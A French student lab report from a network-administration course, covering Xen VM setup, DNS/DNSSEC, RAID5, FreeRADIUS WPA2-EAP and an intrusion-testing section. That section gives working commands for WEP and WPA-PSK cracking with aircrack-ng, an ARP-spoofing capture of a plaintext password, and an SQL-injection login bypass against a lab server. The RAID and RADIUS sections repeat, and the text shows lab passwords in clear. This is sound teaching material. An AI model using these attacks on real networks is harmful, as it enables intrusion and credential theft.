cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:38:19Z

Lchenu : /* Configuration des points d'accès WiFi */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

